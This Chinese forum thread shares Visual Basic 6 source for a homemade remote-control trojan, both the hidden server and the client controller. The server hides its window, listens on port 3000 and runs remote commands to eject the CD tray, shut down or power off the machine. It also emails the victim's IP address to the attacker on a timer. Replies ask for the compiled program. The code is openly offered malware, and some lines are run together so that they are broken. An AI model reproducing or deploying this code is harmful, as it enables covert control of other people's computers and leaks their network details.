木马程序原代码：

Question

Dim str As String
Dim MsName As String
Public Function IsWinNT() As BooleanDim osvi As OSVERSIONINFOosvi.dwOSVersionInfoSize = Len(osvi)GetVersionEx osviIsWinNT = (osvi.dwPlatformId = VER_PLATFORM_WIN32_NT)End FunctionPrivate Sub Form_Load()
'Dim l As Long
'l = RegisterServiceCtrlHandler(GetCurrentProcess(), 1)Me.Hide
Winsock(0).LocalPort = 3000
Winsock(0).Listen
g_iTcpIndex = 0
'Load Winsock
Dim h, d As Long
Dim sW, sH As Long
sW = Me.Width / Screen.TwipsPerPixelX
sH = Me.Height / Screen.TwipsPerPixelY
h = CreateEllipticRgn(0, 0, sW, sH) '画圆形窗口
d = SetWindowRgn(Me.hwnd, h, True)
d = SetWindowPos(Me.hwnd, -1, 0, 0, 0, 0, 3)'CreateAssociation "TestApp", "App for Assoc testing", ".exe", "" ' "notepad.exe %1"
'CreateAssociation "TestApp2", "App for Assoc testing333", ".txt", "notepad.exe %1"
End SubPrivate Sub Form_Unload(Cancel As Integer)
 Dim i As Integer
    For i = 0 To g_iTcpIndex - 1
        If Winsock(i).State <> sckClosed Then
            Winsock(i).Close
        End If
        If i >= 1 Then Unload Winsock(i)
    Next i
RegisterServiceCtrlHandler GetCurrentProcess(), 0
End SubPrivate Sub Timer1_Timer()
If isRed = True Then
Timer1.Enabled = False
Timer2.Enabled = True
ser.BackColor = &HFF&
isRed = False
End If
End SubPrivate Sub Timer2_Timer()
If isRed = False Then
Timer2.Enabled = False
isRed = True
Timer1.Enabled = True
ser.BackColor = &H0
End If
End SubPrivate Sub Timer3_Timer()
sendmsg "[email protected]", "[email protected]"
'Dim CpName As String
'Dim l As Long
'Dim ll As Long
'l = 255
'CpName = String$(12, " ")
'll = GetComputerName(CpName, l)
'If ll <> 0 Then CpName = Left(CpName, l)
'
'Computer = CpName
'Set networkcards = GetObject("WinMgmts:{impersonationLevel=impersonate}!\\" & Computer & "\root\cimv2").ExecQuery("Select * From Win32_NetworkAdapter Where AdapterType='Ethernet 802.3'")
'
'For Each mycard In networkcards
'
'        WQL = "winmgmts:{impersonationLevel=impersonate}!\\" & Computer & "\root\cimv2:Win32_NetworkAdapterConfiguration=" & mycard.DeviceID
'        Set NIC = GetObject(WQL)
''        MsgBox mycard.MACAddress
'        str = NIC.IPAddress(0) '如果一个网卡有多个IP地址，那么就改变相应的索引值
''        SendEmail MsName, "test", "[email protected]", "hacker", "[email protected]", "Test", str
'Next
'MsName = "smtp.hotmail.com"
'MsName = "smtp.21cn.com"
'SendEmail MsName, "test", "[email protected]", "hacker", "[email protected]", "ip", str
End SubPrivate Sub Winsock_ConnectionRequest(Index As Integer, ByVal requestID As Long)
Dim i As Integer
    
    ' 选择一个空闲的Winsock实例
    On Error Resume Next
    
    For i = 0 To g_iTcpIndex - 1
        If Winsock(i).State = sckClosed Then
            Winsock(i).Accept requestID
            
            Exit For
        End If
    Next i
    If i = g_iTcpIndex Then
        ' 已经调入的winsock实例已经没有空闲了,并且还没有达到支持的上限
        Load Winsock(i)
        Winsock(i).Accept requestID
        g_iTcpIndex = g_iTcpIndex + 1
    End If
End SubPrivate Sub Winsock_DataArrival(Index As Integer, ByVal bytesTotal As Long)
Dim ReturnString As String
Dim ret
Dim Rec
Dim r As Integer
Dim re As Long, res As LongWinsock(g_iTcpIndex - 1).GetData Rec, vbString
If Rec = "打开" Then
        ret = mciSendString("Set CDAudio door open", ReturnString, 127, 0)
ElseIf Rec = "关闭" Then
        ret = mciSendString("Set CDAudio door closed", ReturnString, 127, 0)
ElseIf Rec = "退出" Then
End
ElseIf Rec = "关机" Then
'        re = ExitWindowsEx(EWX_REBOOT, 0)
'        bIsWinNT = IsWinNT()
        Dim sPrompt As String
        
        Dim uFlag As Long
'        uFlag = shrsRebootSystem
        uFlag = shrsExitNoDefPrompt
        SHRestartSystemMB hwnd, sPrompt, uFlag
        
       
ElseIf Rec = "电源" Then
'    re = ExitWindowsEx(EWX_POWEROFF, 0)
    SHRestartSystemMB hwnd, shrsExitNoDefPrompt, 8
Else
    MsgBox Rec & "*^.^*", vbOKOnly, "*^.^*"
End If
End Sub'Private Sub Winsock_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)'End Sub

Answer 1

Private Sub Winsock_Error(Index As Integer, ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
    If Winsock(g_iTcpIndex).State <> 0 Then
    MsgBox "error[" & Number & "]" & Description
    End If
    If Winsock(g_iTcpIndex).State <> 0 Then
    Winsock(g_iTcpIndex).Close
    End If
End Sub
Public Sub SendEmail(MailServerName As String, FromName As String, FromEmailAddress As String, ToName As String, ToEmailAddress As String, EmailSubject As String, EmailBodyOfMessage As String)
    Winsock1.LocalPort = 0  ' Must set local port to 0 (Zero) or
                            'you can only send 1 e-mail per program
                            'start    If Winsock1.State = sckClosed Then 'Check to see if socet is closed
        DateNow = Format(Date, "Ddd") & ", " _
                & Format(Date, "dd Mmm YYYY") & " " _
                & Format(Time, "hh:mm:ss") & "" & " -0600"
        
        ' Get who's sending E-Mail address
        first = "mail from:" + Chr(32) + FromEmailAddress + vbCrLf
        ' Get who mail is going to
        Second = "rcpt to:" + Chr(32) + ToEmailAddress + vbCrLf
        ' Date when being sent
        Third = "Date:" + Chr(32) + DateNow + vbCrLf
        ' Who's Sending
        Fourth = "From:" + Chr(32) + FromName + vbCrLf
        ' Who it going to
        Fifth = "To:" + Chr(32) + ToNametxt + vbCrLf
        ' Subject of E-Mail
        Sixth = "Subject:" + Chr(32) + EmailSubject + vbCrLf
        ' E-mail message body
        Seventh = EmailBodyOfMessage + vbCrLf
        ' What program sent the e-mail, customize this
        Ninth = "X-Mailer: EBT Reporter v 2.x" + vbCrLf
        ' Combine for proper SMTP sending
        Eighth = Fourth + Third + Ninth + Fifth + Sixth
        
        Winsock1.Protocol = sckTCPProtocol ' Set protocol for sending
        Winsock1.RemoteHost = MailServerName ' Set the server address
        Winsock1.RemotePort = 25 ' Set the SMTP Port
        Winsock1.Connect ' Start connection
        WaitFor ("220")
''        StatusTxt.Caption = "Connecting...."
'        StatusTxt.Refresh
        Winsock1.SendData ("HELO worldcomputers.com" + vbCrLf)
        WaitFor ("250")
'        StatusTxt.Caption = "Connected"
'        StatusTxt.Refresh
        Winsock1.SendData (first)
'        StatusTxt.Caption = "Sending Message"
'        StatusTxt.Refresh
        WaitFor ("250")
        Winsock1.SendData (Second)
        WaitFor ("250")
        Winsock1.SendData ("data" + vbCrLf)
        WaitFor ("354")
        Winsock1.SendData (Eighth + vbCrLf)
        Winsock1.SendData (Seventh + vbCrLf)
        Winsock1.SendData ("." + vbCrLf)
        WaitFor ("250")
        Winsock1.SendData ("quit" + vbCrLf)
'        StatusTxt.Caption = "Disconnecting"
'        StatusTxt.Refresh
        WaitFor ("221")
        Winsock1.Close
    Else
        MsgBox (CStr(Winsock1.State))
    End If
End SubSub WaitFor(ResponseCode As String)    Start = Timer ' Time event so won't get stuck in loop    While Len(Response) = 0
        Tmr = Start - Timer
        DoEvents ' Let System keep checking for incoming response **IMPORTANT**
            If Tmr > 50 Then ' Time in seconds to wait
                MsgBox "SMTP service error, timed out while waiting for response", 64, MsgTitle
                Exit Sub
            End If
        Wend    While Left(Response, 3) <> ResponseCode
        DoEvents
            If Tmr > 50 Then
                MsgBox "SMTP service error, impromper response code. Code should have been: " + ResponseCode + " Code recieved: " + Response, 64, MsgTitle
                Exit Sub
            End If
    Wend
    Response = "" ' Sent response code to blank **IMPORTANT**
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
    Winsock1.GetData Response ' Check for incoming response *IMPORTANT*
End Sub
Private Sub sendmsg(strTo As String, strFrom As String)
Dim iMsg As New CDO.Message
Dim iConf As New CDO.Configuration
'Dim flds As ADODB.Fields
'Dim flds As ADODB.FieldsDim strHTML'Set flds = iConf.Fields
'With flds
'.Item(cdoSendUsingMethod) = cdoSendUsingPickup
'.Refresh
''.Update
'End With' Build HTML for message body
strHTML = "<HTML>"
strHTML = strHTML & "<HEAD>"
strHTML = strHTML & "<BODY>"
strHTML = strHTML & "<b> This is the test HTML message body</b></br>"strHTML = strHTML & "</BODY>"
strHTML = strHTML & "</HTML>"With iMsg
Set .Configuration = iConf
.To = strTo
.From = strFrom
.Subject = "This is a test CDOSYS message (Pickup directory)"
'.HTMLBody = strHTML
.TextBody = ser.Winsock1.LocalIP
.Send
End With' cleanup of variables
Set iMsg = Nothing
Set iConf = Nothing
Set flds = NothingEnd Sub
后面还有，希望关注。

Answer 2

Attribute VB_Name = "CSer"
Type OSVERSIONINFO    dwOSVersionInfoSize As Long
    dwMajorVersion As Long
    dwMinorVersion As Long
    dwBuildNumber As Long
    dwPlatformId As Long
    szCSDVersion As String * 128End Type
Public Const EWX_LOGOFF = 0Public Const EWX_SHUTDOWN = 1Public Const EWX_REBOOT = 2Public Const EWX_FORCE = 4Public Const EWX_POWEROFF = 8Public Const shrsExitNoDefPrompt = 1Public Const shrsRebootSystem = 2
Declare Function SHRestartSystemMB Lib "shell32" Alias "#59" (ByVal hOwner As Long, ByVal sExtraPrompt As String, ByVal uFlags As Long) As LongDeclare Function SHShutDownDialog Lib "shell32" Alias "#60" (ByVal YourGuess As Long) As Long
Declare Function GetVersionEx Lib "kernel32" Alias "GetVersionExA" (lpVersionInformation As OSVERSIONINFO) As LongDeclare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpszSubKey As String, lphKey As Long) As LongDeclare Function RegSetValue Lib "advapi32.dll" Alias "RegSetValueA" (ByVal hKey As Long, ByVal lpszSubKey As String, ByVal fdwType As Long, ByVal lpszValue As String, ByVal dwLength As Long) As Long' Return codes from Registration functions.
Public Const ERROR_SUCCESS = 0&
Public Const ERROR_BADDB = 1&
Public Const ERROR_BADKEY = 2&
Public Const ERROR_CANTOPEN = 3&
Public Const ERROR_CANTREAD = 4&
Public Const ERROR_CANTWRITE = 5&
Public Const ERROR_OUTOFMEMORY = 6&
Public Const ERROR_INVALID_PARAMETER = 7&
Public Const ERROR_ACCESS_DENIED = 8&
Public Const HKEY_CLASSES_ROOT = &H80000000
Public Const MAX_PATH = 256&
Public Const REG_SZ = 1Public Response As String
Public Reply As Integer
Public DateNow As String
Public Start As Single
Public Tmr As Single 
'*----------------------------------------------------------*
'* Name       : CreateAssociation                           *
'*----------------------------------------------------------*
'* Purpose    : Associate a file type with a program in     *
'*            : Win95 and WinNT                             *
'*----------------------------------------------------------*
'* Parameters : strAppKey   Required. File type alias.      *
'*            : strAppName  Required. File type name.       *
'*            : strExt      Required. File type extension.  *
'*            : strCommand  Required. Command associated    *
'*            :                       with file type.       *
'*----------------------------------------------------------*
Public Function CreateAssociation(strAppKey As String, _
                              strAppName As String, _
                              strExt As String, _
                              strCommand As String)
  Dim sKeyName As String  ' Holds Key Name in registry.
  Dim sKeyValue As String ' Holds Key Value in registry.
  Dim ret As Long         ' Holds error status if any from
  ' API calls.
  Dim lphKey As Long      ' Holds created key handle from
  ' RegCreateKey.  'Creates a Root entry called strKeyName.
  sKeyName = strAppKey
  sKeyValue = strAppName
  ret = RegCreateKey(HKEY_CLASSES_ROOT, sKeyName, lphKey)
  ret = RegSetValue(lphKey&, "", REG_SZ, sKeyValue, 0&)  'Creates a Root entry called strExt associated with strKeyName.
  sKeyName = strExt
  sKeyValue = strAppKey
  ret = RegCreateKey(HKEY_CLASSES_ROOT, sKeyName, lphKey)
  ret = RegSetValue(lphKey&, "", REG_SZ, sKeyValue, 0&)  'Sets the command line for strKeyName.
  sKeyName = strAppKey
  sKeyValue = strCommand
  ret = RegCreateKey(HKEY_CLASSES_ROOT, sKeyName, lphKey)
  ret = RegSetValue(lphKey&, "shell\open\command", REG_SZ, _
                    sKeyValue, MAX_PATH)
End Function
'Sub WaitFor(ResponseCode As String)
'    Start = Timer ' Time event so won't get stuck in loop
'    While Len(Response) = 0
'        Tmr = Start - Timer
'        DoEvents ' Let System keep checking for incoming response **IMPORTANT**
'        If -(Tmr) > 50 Then ' Time in seconds to wait
'            MsgBox "SMTP service error, timed out while waiting for response", 64, MsgTitle
'            Exit Sub
'        End If
'    Wend
'    While Left(Response, 3) <> ResponseCode
'        DoEvents
'        If -(Tmr) > 50 Then
'            MsgBox "SMTP service error, impromper response code. Code should have been: " + ResponseCode + " Code recieved: " + Response, 64, MsgTitle
'            Exit Sub
'        End If
'    Wend
'Response = "" ' Sent response code to blank **IMPORTANT**
'End Sub'Public Function WaitFor(ResCode As String)
'Start = Timer
'While Len(Response) = 0
'    Tmr = Start - Timer
'    DoEvents
'    If Tmr < -50 Then
'       MsgBox "SMTP service Error"
'       Exit Function
'    End If
'Wend
'While Left(Response, 3) <> ResCode
'    DoEvents
'    If Tmr > 50 Then
'        MsgBox "SMTP server Error"
'        Exit Function
'    End If
'Wend
'Response = ""
'
'End Function

Answer 3

Attribute VB_Name = "ModuleServer"
Type OSVERSIONINFO    dwOSVersionInfoSize As Long
    dwMajorVersion As Long
    dwMinorVersion As Long
    dwBuildNumber As Long
    dwPlatformId As Long
    szCSDVersion As String * 128End Type
Public Const EWX_LOGOFF = 0Public Const EWX_SHUTDOWN = 1Public Const EWX_REBOOT = 2Public Const EWX_FORCE = 4Public Const EWX_POWEROFF = 8Public Const shrsExitNoDefPrompt = 1Public Const shrsRebootSystem = 2
Declare Function SHRestartSystemMB Lib "shell32" Alias "#59" (ByVal hOwner As Long, ByVal sExtraPrompt As String, ByVal uFlags As Long) As LongDeclare Function SHShutDownDialog Lib "shell32" Alias "#60" (ByVal YourGuess As Long) As Long
Declare Function GetVersionEx Lib "kernel32" Alias "GetVersionExA" (lpVersionInformation As OSVERSIONINFO) As LongDeclare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpszSubKey As String, lphKey As Long) As LongDeclare Function RegSetValue Lib "advapi32.dll" Alias "RegSetValueA" (ByVal hKey As Long, ByVal lpszSubKey As String, ByVal fdwType As Long, ByVal lpszValue As String, ByVal dwLength As Long) As Long' Return codes from Registration functions.
Public Const ERROR_SUCCESS = 0&
Public Const ERROR_BADDB = 1&
Public Const ERROR_BADKEY = 2&
Public Const ERROR_CANTOPEN = 3&
Public Const ERROR_CANTREAD = 4&
Public Const ERROR_CANTWRITE = 5&
Public Const ERROR_OUTOFMEMORY = 6&
Public Const ERROR_INVALID_PARAMETER = 7&
Public Const ERROR_ACCESS_DENIED = 8&
Public Const HKEY_CLASSES_ROOT = &H80000000
Public Const MAX_PATH = 256&
Public Const REG_SZ = 1Public Response As String
Public Reply As Integer
Public DateNow As String
Public Start As Single
Public Tmr As Single 
'*----------------------------------------------------------*
'* Name       : CreateAssociation                           *
'*----------------------------------------------------------*
'* Purpose    : Associate a file type with a program in     *
'*            : Win95 and WinNT                             *
'*----------------------------------------------------------*
'* Parameters : strAppKey   Required. File type alias.      *
'*            : strAppName  Required. File type name.       *
'*            : strExt      Required. File type extension.  *
'*            : strCommand  Required. Command associated    *
'*            :                       with file type.       *
'*----------------------------------------------------------*
Public Function CreateAssociation(strAppKey As String, _
                              strAppName As String, _
                              strExt As String, _
                              strCommand As String)
  Dim sKeyName As String  ' Holds Key Name in registry.
  Dim sKeyValue As String ' Holds Key Value in registry.
  Dim ret As Long         ' Holds error status if any from
  ' API calls.
  Dim lphKey As Long      ' Holds created key handle from
  ' RegCreateKey.  'Creates a Root entry called strKeyName.
  sKeyName = strAppKey
  sKeyValue = strAppName
  ret = RegCreateKey(HKEY_CLASSES_ROOT, sKeyName, lphKey)
  ret = RegSetValue(lphKey&, "", REG_SZ, sKeyValue, 0&)  'Creates a Root entry called strExt associated with strKeyName.
  sKeyName = strExt
  sKeyValue = strAppKey
  ret = RegCreateKey(HKEY_CLASSES_ROOT, sKeyName, lphKey)
  ret = RegSetValue(lphKey&, "", REG_SZ, sKeyValue, 0&)  'Sets the command line for strKeyName.
  sKeyName = strAppKey
  sKeyValue = strCommand
  ret = RegCreateKey(HKEY_CLASSES_ROOT, sKeyName, lphKey)
  ret = RegSetValue(lphKey&, "shell\open\command", REG_SZ, _
                    sKeyValue, MAX_PATH)
End Function
'Sub WaitFor(ResponseCode As String)
'    Start = Timer ' Time event so won't get stuck in loop
'    While Len(Response) = 0
'        Tmr = Start - Timer
'        DoEvents ' Let System keep checking for incoming response **IMPORTANT**
'        If -(Tmr) > 50 Then ' Time in seconds to wait
'            MsgBox "SMTP service error, timed out while waiting for response", 64, MsgTitle
'            Exit Sub
'        End If
'    Wend
'    While Left(Response, 3) <> ResponseCode
'        DoEvents
'        If -(Tmr) > 50 Then
'            MsgBox "SMTP service error, impromper response code. Code should have been: " + ResponseCode + " Code recieved: " + Response, 64, MsgTitle
'            Exit Sub
'        End If
'    Wend
'Response = "" ' Sent response code to blank **IMPORTANT**
'End Sub'Public Function WaitFor(ResCode As String)
'Start = Timer
'While Len(Response) = 0
'    Tmr = Start - Timer
'    DoEvents
'    If Tmr < -50 Then
'       MsgBox "SMTP service Error"
'       Exit Function
'    End If
'Wend
'While Left(Response, 3) <> ResCode
'    DoEvents
'    If Tmr > 50 Then
'        MsgBox "SMTP server Error"
'        Exit Function
'    End If
'Wend
'Response = ""
'
'End Function

Answer 4

大部分东西都贴出来了，希望有人能不断完善。
里面的发送邮件的部分，有两种，其中用socket的不太好使。
但用cdo的部分有可能会出事，
能找到你的。用邮件来查看对方ip是不是很苯，但也有好处，
自己漫漫体会。

Answer 5

hehe
能发给我吗
[email protected]

Answer 6

干脆发一个过来测试：
  [email protected]

Answer 7

啊，忘了Client端，前面是服务端。

Answer 8

下面使客户端原代码：
这是form.frm
VERSION 5.00
Object = "{248DD890-BB45-11CF-9ABC-0080C7E7B78D}#1.0#0"; "MSWINSCK.OCX"
Begin VB.Form Form1 
   Caption         =   "Form1"
   ClientHeight    =   3525
   ClientLeft      =   60
   ClientTop       =   345
   ClientWidth     =   3825
   Icon            =   "c.frx":0000
   LinkTopic       =   "Form1"
   ScaleHeight     =   3525
   ScaleWidth      =   3825
   StartUpPosition =   3  '窗口缺省
   Begin VB.CommandButton Command7 
      Caption         =   "彻底断电"
      Height          =   495
      Left            =   120
      TabIndex        =   9
      Top             =   2760
      Width           =   1215
   End
   Begin VB.TextBox Text3 
      Height          =   390
      Left            =   120
      TabIndex        =   8
      Text            =   "127.0.0.1"
      Top             =   240
      Width           =   3615
   End
   Begin VB.TextBox Text2 
      Height          =   375
      Left            =   120
      TabIndex        =   7
      Top             =   840
      Width           =   3615
   End
   Begin VB.CommandButton Command6 
      Caption         =   "发送消息"
      Height          =   495
      Left            =   2520
      TabIndex        =   6
      Top             =   2280
      Width           =   1215
   End
   Begin VB.CommandButton Command5 
      Caption         =   "重新启动系统"
      Height          =   495
      Left            =   1320
      TabIndex        =   5
      Top             =   2280
      Width           =   1215
   End
   Begin VB.CommandButton Command4 
      Caption         =   "重新连接"
      Height          =   495
      Left            =   120
      TabIndex        =   4
      Top             =   2280
      Width           =   1215
   End
   Begin VB.Timer Timer1 
      Interval        =   1000
      Left            =   4560
      Top             =   2640
   End
   Begin VB.TextBox Text1 
      BackColor       =   &H0080FFFF&
      BorderStyle     =   0  'None
      Height          =   375
      Left            =   120
      TabIndex        =   3
      Text            =   "Text1"
      Top             =   1320
      Width           =   3615
   End
   Begin VB.CommandButton Command3 
      Caption         =   "退出控制"
      Height          =   495
      Left            =   2520
      TabIndex        =   2
      Top             =   1800
      Width           =   1215
   End
   Begin MSWinsockLib.Winsock Winsock1 
      Left            =   -360
      Top             =   2040
      _ExtentX        =   741
      _ExtentY        =   741
      _Version        =   393216
      RemotePort      =   3000
   End
   Begin VB.CommandButton Command2 
      Caption         =   "关光驱"
      Height          =   495
      Left            =   1320
      TabIndex        =   1
      Top             =   1800
      Width           =   1215
   End
   Begin VB.CommandButton Command1 
      Caption         =   "开光驱"
      Height          =   495
      Left            =   120
      TabIndex        =   0
      Top             =   1800
      Width           =   1215
   End
End
Attribute VB_Name = "Form1"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Private Sub Command1_Click()
If Winsock1.State <> 0 Then
    Winsock1.SendData "打开"
Else
    MsgBox "error"
End If
End SubPrivate Sub Command2_Click()
Winsock1.SendData "关闭"
End SubPrivate Sub Command3_Click()
Winsock1.SendData "退出"
End SubPrivate Sub Command4_Click()
If Winsock1.State <> sckClosed Then Winsock1.Close
'''sockserver.Protocol = sckTCPProtocolWinsock1.Connect Text3.Text, 3000ShowSckStatus
End SubPrivate Sub Command5_Click()
Winsock1.SendData "关机"
End SubPrivate Sub Command6_Click()
Winsock1.SendData Text2.Text
End SubPrivate Sub Command7_Click()
Winsock1.SendData "电源"
End SubPrivate Sub Form_Load()
'    Winsock1.RemoteHost = "192.168.0.202"
'    Winsock1.RemotePort = 3000
'    Winsock1.Connect
    If Winsock1.State <> sckClosed Then Winsock1.Close
'''sockserver.Protocol = sckTCPProtocol
If Text3.Text = "127.0.0.1" Then
Winsock1.Connect "192.168.0.202", 3000
End If
ShowSckStatus
End SubPrivate Sub Form_Unload(Cancel As Integer)
Winsock1.Close
End SubPrivate Sub Timer1_Timer()
ShowSckStatus
End SubPrivate Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Winsock1.GetData Res, vbString
End Sub
Public Sub ShowSckStatus() '显示与上一级的连接状态
With Text1
    Select Case Winsock1.State
        Case sckClosed
            .Text = "已经关闭连接"
        Case sckOpen
            .Text = "已经打开"
        Case sckListening
            .Text = "正在侦听"
        Case sckConnectionPending
            .Text = "连接挂起"
        Case sckResolvingHost
            .Text = "识别主机"
        Case sckHostResolved
            .Text = "已识别主机"
        Case sckConnecting
            .Text = "正在连接"
        Case sckConnected
            .Text = "请发送指令"
        Case sckClosing
            .Text = "同级人员正在关闭连接"
        Case sckError
            .Text = "连接错误"
    End Select
End With
End Sub